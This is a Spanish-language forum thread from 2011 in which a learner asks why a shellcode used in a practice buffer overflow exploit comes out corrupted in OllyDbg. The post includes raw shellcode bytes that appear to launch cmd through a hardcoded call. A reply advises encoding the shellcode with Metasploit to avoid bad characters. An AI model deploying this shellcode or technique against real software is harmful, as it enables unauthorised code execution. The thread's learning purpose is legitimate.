Ayuda con shellcode

Iniciado por BrownRabbit, 31 Marzo 2011, 19:49 PM

0 Miembros y 1 Visitante están viendo este tema.

BrownRabbit

saludos

Les comento que recien estoy sumergiendome en el tema de shellcodes y exploits, y tengo el siguiente problema:

Estoy practicando en una aplicacion con un buffer overflow, ya tengo el control del ESP y el el EIP , es decir ya esta listo para ejecutar el shellcode, el que estoy ejecutando es:


shellcode = ("\x8B\xEC\x33\xFF\x57"
    "\xC6\x45\xFC\x63\xC6\x45"
    "\xFD\x6D\xC6\x45\xFE\x64"
    "\xC6\x45\xF8\x01\x8D"
            "\x45\xFC\x50\xB8\xC7\x93"
            "\xBF\x77\xFF\xD0\x00")"


Sin embargo en el momento de debuggear, sale totalmente modificado el shellcode, he descartado algunas cosas y he visto que  se modifica el los que estan con \xff , bueno en el olly sale asi:


015DC2E3   8BEC             MOV EBP,ESP
015DC2E5   3357 C6         XOR EDX,DWORD PTR DS:[EDI-3A]
015DC2E8   45                 INC EBP
015DC2E9   DC43 C6       FADD QWORD PTR DS:[EBX-3A]
015DC2EC   45                INC EBP
015DC2ED   FD                STD
015DC2EE   4D                 DEC EBP
015DC2EF   C645 FE 44     MOV BYTE PTR SS:[EBP-2],44
015DC2F3   C645 F8 8D     MOV BYTE PTR SS:[EBP-8],8D
015DC2F7   45                  INC EBP
015DC2F8   DC50 B8         FCOM QWORD PTR DS:[EAX-48]
015DC2FB   C7                  ???                                     
015DC2FC   93                   XCHG EAX,EBX
015DC2FD   BF 57D00000      MOV EDI,0D057
     



Que puede estar pasando,

Gracias por su Respuesta..
Kz-team

hackspy

mmm...

por lo que veo, el  FF y el 77 se eliminan, el 6 en las "decenas" se cambia por 4 y mmmm... el 01 lo obvia.... el FC lo cambia por DC


Pero por ejemplo dejó pasar un 00 al final, podría ser que considere algunos de los caracteres como privilegiados, tales como: 90, CC, o 20... podría ser que aquellos caracteres también sean privilegiados para la aplicación que estás ejecutando...

pensaría en usar algo como el msf encoder, especificarle dichos caracteres como prohibidos y que arme una shellcode "cifrada" para ver que pasa...

Ojalá te sea de utilidad.

Sería bueno tener mas info como saber, que aplicación estás probando, o que programa, o que protocolo o librería, como para tener mas información que te ayude.

Salu2.